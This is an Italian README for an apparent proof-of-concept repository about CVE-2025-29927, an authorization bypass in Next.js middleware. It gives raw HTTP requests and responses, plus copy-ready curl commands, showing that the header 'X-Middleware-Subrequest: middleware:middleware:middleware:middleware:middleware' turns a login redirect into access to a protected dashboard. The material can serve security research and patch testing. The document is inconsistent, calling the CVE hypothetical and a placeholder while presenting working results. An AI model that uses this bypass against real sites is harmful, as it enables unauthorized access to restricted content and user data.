
Bypass dell'autorizzazione nel middleware di Next.js
Questo repository contiene un Proof of Concept (PoC) per CVE-2025-29927, una vulnerabilità ipotetica che dimostra un difetto nella gestione del middleware all'interno di un'applicazione web. Il PoC illustra come una richiesta HTTP appositamente creata possa bypassare la logica di reindirizzamento per accedere a contenuti riservati, come una dashboard. Questo progetto è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza.
Disclaimer: Questo PoC è destinato all'uso in ambienti controllati con autorizzazione esplicita. Test non autorizzati su sistemi di cui non si possiede la proprietà o per cui non si ha il consenso sono illegali e non etici.
Per seguire questo PoC, avrai bisogno di:
abc.com) che esegue una configurazione vulnerabile (software/versione specifici da determinare in base ai dettagli della CVE).curl (curl.se), Burp Suite (portswigger.net/burp), o uno script personalizzato.CVE-2025-29927 (segnaposto; sostituire con i dettagli ufficiali della CVE quando disponibili) sembra sfruttare una configurazione errata del middleware o un difetto logico. Il PoC dimostra che l'aggiunta di un'intestazione personalizzata (X-Middleware-Subrequest) altera il comportamento del server, bypassando un meccanismo di reindirizzamento per accedere a contenuti riservati. Questo probabilmente riguarda il modo in cui il middleware (es. Nginx con Next.js) elabora le sotto-richieste o convalida le intestazioni.
Per maggiori informazioni sulle vulnerabilità del middleware, consulta OWASP Middleware Security.
Il PoC consiste in due passaggi: una richiesta iniziale non riuscita e una richiesta modificata riuscita. Ogni passaggio include la richiesta HTTP, la risposta e una spiegazione dettagliata.
Questo passaggio dimostra il comportamento predefinito del server quando si accede all'endpoint /dashboard senza intestazioni aggiuntive.
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: Tenta di accedere all'endpoint della dashboard.User-Agent e Accept imitano una tipica richiesta del browser.307 Temporary Redirect: Indica che il server reindirizza il client, probabilmente a causa di logiche di autenticazione, autorizzazione o routing (ad es. reindirizzamento a una pagina di login).Server: nginx/1.14.1: Identifica il software del server web./dashboard. L'assenza di un'intestazione Location in questa risposta (possibilmente omessa per brevità) implica che la destinazione del reindirizzamento sia altrove.Questo passaggio introduce un'intestazione personalizzata per bypassare il reindirizzamento, recuperando con successo il contenuto della dashboard.
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Un'intestazione personalizzata aggiunta alla richiesta originale. La stringa ripetuta middleware potrebbe sfruttare un difetto di analisi o convalida nello stack del middleware.200 OK: Conferma l'accesso riuscito al contenuto della dashboard.Content-Type: text/html; charset=utf-8: Indica una risposta HTML, probabilmente la pagina della dashboard.X-Powered-By: Next.js: Suggerisce che l'applicazione utilizza Next.js, un framework React che spesso si basa sul middleware per il routing.Cache-Control: Impedisce la memorizzazione nella cache, tipico per contenuti dinamici e specifici dell'utente.Content-Length: 30174: Dimensione del corpo della risposta in byte.X-Middleware-Subrequest probabilmente inganna il middleware facendogli trattare la richiesta come una sotto-richiesta legittima, bypassando la logica di reindirizzamento. Ciò potrebbe indicare una vulnerabilità nel modo in cui le sotto-richieste vengono convalidate o elaborate.Segui questi passaggi per replicare il PoC usando curl:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Risultato Previsto: Una risposta 307 Temporary Redirect.
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Risultato Previsto: Una risposta 200 OK con il contenuto della dashboard.
Nota: Sostituisci abc.com con il dominio di destinazione effettivo se si testa in un ambiente autorizzato.
curl per richieste HTTP.Questo progetto è concesso in licenza con la licenza MIT. Vedi il file LICENSE per i dettagli.